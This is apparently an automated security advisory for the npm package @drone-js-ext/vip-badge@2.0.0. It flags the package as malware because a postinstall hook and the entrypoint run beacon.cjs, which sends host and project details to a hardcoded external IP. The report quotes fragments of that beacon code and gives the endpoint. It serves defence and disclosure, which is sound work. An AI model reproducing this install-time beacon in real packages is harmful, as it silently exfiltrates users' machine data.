@drone-js-ext/vip-badge@2.0.0
Compatibility shim.
AI Security Review
scanned 10d ago · by lpm-firewall-aiSource inspection confirms automatic installation-time disclosure of host and project identity to a hardcoded external endpoint. This supports blocking the package as malicious installation-time tracking.
Static reason
One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review
Trigger
Package installation or importing index.js.
Impact
The endpoint receives identifying information about the installing machine and project without an evident consent step.
Mechanism
A postinstall hook and the entrypoint invoke beacon.cjs, which sends a JSON POST containing the hostname, install path, working directory, and npm version.
Attack narrative
The postinstall hook runs a beacon that sends machine and project identifiers to a hardcoded external IP address. Importing the package entrypoint triggers the same report, without a consent check in the inspected code.
AI rationale
Source inspection confirms automatic installation-time disclosure of host and project identity to a hardcoded external endpoint. This supports blocking the package as malicious installation-time tracking.
Evidence
package.jsonbeacon.cjsindex.js
Network endpoints1
185.158.107.175:8787/_ah/dc
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- package.json runs beacon.cjs automatically from its postinstall hook.
- beacon.cjs sends an HTTP POST to a hardcoded external IP address.
- The POST includes the machine hostname, install path, working directory, and npm version.
- Importing index.js also calls the beacon without requiring a user action.
Evidence against
Behavioral surface
Network
UrlStrings
Source & flagged code
7 flaggedpackage.jsonView file
•scripts.postinstall = node beacon.cjs
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg2"name": "@drone-js-ext/vip-badge",
"version": "2.0.0",
"description": "Compatibility shim.",
"main": "index.js",
"scripts": {
"postinstall": "node beacon.cjs"
},
High
Suspicious Lifecycle Evidence
package.json runs beacon.cjs automatically from its postinstall hook.
package.jsonView on unpkg · L2beacon.cjsView file
3// recipient can correlate an install. No data beyond that is collected or sent.
L4: var BEACON = "http://185.158.107.175:8787/_ah/dc";
L5: var PKG = "@drone-js-ext/vip-badge";
...
L10: var lib = u.protocol === 'https:' ? require('https') : require('http');
L11: var data = Buffer.from(JSON.stringify(payload));
L12: var req = lib.request({
...
L20: req.setTimeout(5000, function () { try { req.destroy(); } catch (e) {} resolve(); });
L21: req.write(data); req.end();
L22: } catch (e) { resolve(); }
...
L27: package: PKG,
L28: hostname: (function () { try { return require('os').hostname(); } catch (e) { return ''; } })(),
L29: installPath: __dirname,
Findings
7 High1 Medium2 Low
HighInstall Time Lifecycle Scriptspackage.json
HighHost Fingerprint Exfiltrationbeacon.cjs
HighKnown Malware Source Fingerprint Signaturebeacon.cjs
HighSuspicious Lifecycle Evidencepackage.json
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidenceindex.js
MediumNetwork
LowScripts Present
LowUrl Strings
Affected versions and remediation
This report applies to @drone-js-ext/vip-badge@2.0.0.
See all versions of @drone-js-ext/vip-badge for other recorded verdicts.
- Avoid installing @drone-js-ext/vip-badge@2.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
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Source advisory published: .
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